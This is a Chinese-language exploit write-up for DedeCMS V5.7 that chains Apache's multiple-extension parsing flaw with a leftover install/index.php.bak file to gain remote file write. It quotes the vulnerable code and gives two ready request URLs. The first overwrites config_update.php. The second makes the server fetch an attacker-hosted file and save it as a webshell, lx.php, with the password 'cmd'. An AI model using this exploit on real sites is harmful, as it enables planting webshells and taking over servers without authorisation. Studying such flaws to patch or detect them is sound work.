dedeCMS遠程寫入getshell(測試版本V5.7)
該漏洞必須結合apache的解析漏洞:
當Apache檢測到一個文件有多個擴展名時,如1.php.bak,會從右向左判斷,直到有一個Apache認識的擴展名。如果所有的擴展名Apache都不認識,那麽變會按照httpd.conf配置中所指定的方式展示這個問題,一般默認情況下是“text/plain”這種方式。
dede在安裝完成,如果沒有刪除install文件夾,在install下會有一個index.php.bak的備份文件,利用apache的解析漏洞,可以以php方式解析該文件。
在index.php.bak中有如下代碼:
else if($step==11) { require_once(‘../data/admin/config_update.php‘); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,‘w‘); if(fwrite($fp,$sql_content)) echo ‘ <font color="green">[√]</font> 存在(您可以選擇安裝進行體驗)‘; else echo‘ <font color="red">[×]</font> 遠程獲取失敗‘; unset($sql_content); fclose($fp); exit(); }
可以利用index.php.bak文件 step 11中的代碼,來在服務器上寫入任意文件!
由於遠程要包含文件的服務器地址是通過 $updateHost 控制的,那我們首先利用代碼來改寫../data/admin/config_update.php這個文件,使我們可以自定義 $updateHost的值,那樣就可以引用任何我們想要引用的文件啦!
利用方法:
隨便找一個網站 新建個127.0.0.1/dedecms/demodata.a.txt
分別依次訪問一下鏈接
http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://127.0.0.1/
即可生成http://www.xxxx.com/install/lx.php 密碼cmd
dedeCMS遠程寫入getshell(測試版本V5.7)